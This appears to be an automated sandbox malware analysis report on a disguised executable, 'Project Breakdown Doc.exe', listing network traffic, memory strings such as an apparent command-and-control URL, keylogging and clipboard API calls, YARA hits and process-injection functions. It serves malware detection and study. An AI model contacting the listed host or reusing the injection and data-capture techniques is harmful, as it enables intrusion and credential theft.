--><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 22 Nov 2024 11:43:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 22 Nov 2024 11:43:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 22 Nov 2024 11:43:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0

Source: VFfhzkOtKq.exe, 00000007.00000002.2938680835.0000000004CFA000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.wine-drinkers.club
Source: VFfhzkOtKq.exe, 00000007.00000002.2938680835.0000000004CFA000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.wine-drinkers.club/hakt/
Source: powercfg.exe, 00000006.00000003.2464503934.000000000821E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powercfg.exe, 00000006.00000003.2464503934.000000000821E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: powercfg.exe, 00000006.00000003.2464503934.000000000821E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: powercfg.exe, 00000006.00000003.2464503934.000000000821E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powercfg.exe, 00000006.00000003.2464503934.000000000821E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: powercfg.exe, 00000006.00000003.2464503934.000000000821E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: powercfg.exe, 00000006.00000003.2464503934.000000000821E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powercfg.exe, 00000006.00000002.2937780821.0000000004408000.00000004.10000000.00040000.00000000.sdmp, powercfg.exe, 00000006.00000002.2939443430.0000000006790000.00000004.00000800.00020000.00000000.sdmp, VFfhzkOtKq.exe, 00000007.00000002.2937216362.0000000002F78000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://kb.fastpanel.direct/troubleshoot/
Source: powercfg.exe, 00000006.00000002.2935230373.0000000002F46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: powercfg.exe, 00000006.00000002.2935230373.0000000002F46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: powercfg.exe, 00000006.00000002.2935230373.0000000002F46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: powercfg.exe, 00000006.00000002.2935230373.0000000002F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: powercfg.exe, 00000006.00000002.2935230373.0000000002F46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: powercfg.exe, 00000006.00000002.2935230373.0000000002F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: powercfg.exe, 00000006.00000003.2452967426.00000000081F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: powercfg.exe, 00000006.00000003.2464503934.000000000821E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: powercfg.exe, 00000006.00000003.2464503934.000000000821E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00CB425A OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00CB425A

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00CB4458 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00CB4458

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

0_2_00CB425A

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00CA0219 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_00CA0219

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00CCCDAC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_00CCCDAC

E-Banking Fraud

Binary is likely a compiled AutoIt script file

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2936457400.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2259560056.0000000003960000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2938680835.0000000004CA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2259200561.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2260126536.0000000004C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2936946828.0000000003450000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2936746920.0000000003470000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2935024128.0000000000D20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00C43B4C
Source: Project Breakdown Doc.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: Project Breakdown Doc.exe, 00000000.00000002.1685914892.0000000000CF5000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_761de984-0
Source: Project Breakdown Doc.exe, 00000000.00000002.1685914892.0000000000CF5000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_f72e6896-b
Source: Project Breakdown Doc.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_95724fa1-4
Source: Project Breakdown Doc.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_0395a16b-9

Uses powercfg.exe to modify the power settings

Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe

Process created: C:\Windows\SysWOW64\powercfg.exe "C:\Windows\SysWOW64\powercfg.exe"

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042CD33 NtClose,	1_2_0042CD33
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72B60 NtClose,LdrInitializeThunk,	1_2_03B72B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72DF0 NtQuerySystemInformation,LdrInitializeThunk,	1_2_03B72DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B735C0 NtCreateMutant,LdrInitializeThunk,	1_2_03B735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B74340 NtSetContextThread,	1_2_03B74340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B74650 NtSuspendThread,	1_2_03B74650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72BA0 NtEnumerateValueKey,	1_2_03B72BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72B80 NtQueryInformationFile,	1_2_03B72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72BF0 NtAllocateVirtualMemory,	1_2_03B72BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72BE0 NtQueryValueKey,	1_2_03B72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72AB0 NtWaitForSingleObject,	1_2_03B72AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72AF0 NtWriteFile,	1_2_03B72AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72AD0 NtReadFile,	1_2_03B72AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72FB0 NtResumeThread,	1_2_03B72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72FA0 NtQuerySection,	1_2_03B72FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72F90 NtProtectVirtualMemory,	1_2_03B72F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72FE0 NtCreateFile,	1_2_03B72FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72F30 NtCreateSection,	1_2_03B72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72F60 NtCreateProcessEx,	1_2_03B72F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72EA0 NtAdjustPrivilegesToken,	1_2_03B72EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72E80 NtReadVirtualMemory,	1_2_03B72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72EE0 NtQueueApcThread,	1_2_03B72EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72E30 NtWriteVirtualMemory,	1_2_03B72E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72DB0 NtEnumerateKey,	1_2_03B72DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72DD0 NtDelayExecution,	1_2_03B72DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72D30 NtUnmapViewOfSection,	1_2_03B72D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72D10 NtMapViewOfSection,	1_2_03B72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72D00 NtSetInformationFile,	1_2_03B72D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72CA0 NtQueryInformationToken,	1_2_03B72CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72CF0 NtOpenProcess,	1_2_03B72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72CC0 NtQueryVirtualMemory,	1_2_03B72CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72C00 NtQueryInformationProcess,	1_2_03B72C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72C70 NtFreeVirtualMemory,	1_2_03B72C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72C60 NtCreateKey,	1_2_03B72C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B73090 NtSetValueKey,	1_2_03B73090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B73010 NtOpenDirectoryObject,	1_2_03B73010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B739B0 NtGetContextThread,	1_2_03B739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B73D10 NtOpenProcessToken,	1_2_03B73D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B73D70 NtOpenThread,	1_2_03B73D70

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00CA40B1: CreateFileW,_memset,DeviceIoControl,CloseHandle,

0_2_00CA40B1

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00C98858 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00C98858

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00CA545F ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_00CA545F

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C4E800	0_2_00C4E800
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C6DBB5	0_2_00C6DBB5
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CC804A	0_2_00CC804A
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C4E060	0_2_00C4E060
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C54140	0_2_00C54140
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C62405	0_2_00C62405
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C76522	0_2_00C76522
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CC0665	0_2_00CC0665
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C7267E	0_2_00C7267E
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C56843	0_2_00C56843
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C6283A	0_2_00C6283A
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C789DF	0_2_00C789DF
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CC0AE2	0_2_00CC0AE2
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C76A94	0_2_00C76A94
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C58A0E	0_2_00C58A0E
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C9EB07	0_2_00C9EB07
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CA8B13	0_2_00CA8B13
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C6CD61	0_2_00C6CD61
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C77006	0_2_00C77006
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C53190	0_2_00C53190
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C5710E	0_2_00C5710E
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C41287	0_2_00C41287
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C633C7	0_2_00C633C7
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C6F419	0_2_00C6F419
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C616C4	0_2_00C616C4
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C55680	0_2_00C55680
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C558C0	0_2_00C558C0
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C678D3	0_2_00C678D3
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C61BB8	0_2_00C61BB8
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C79D05	0_2_00C79D05
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C4FE40	0_2_00C4FE40
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C61FD0	0_2_00C61FD0
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C6BFE6	0_2_00C6BFE6
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_01783600	0_2_01783600
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00418D53	1_2_00418D53
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040E8EA	1_2_0040E8EA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040E8F3	1_2_0040E8F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040E93C	1_2_0040E93C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00401180	1_2_00401180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004029A0	1_2_004029A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004032F0	1_2_004032F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042F363	1_2_0042F363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041057A	1_2_0041057A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00410583	1_2_00410583
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004026B0	1_2_004026B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00416F43	1_2_00416F43
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004107A3	1_2_004107A3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040E7A3	1_2_0040E7A3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C003E6	1_2_03C003E6
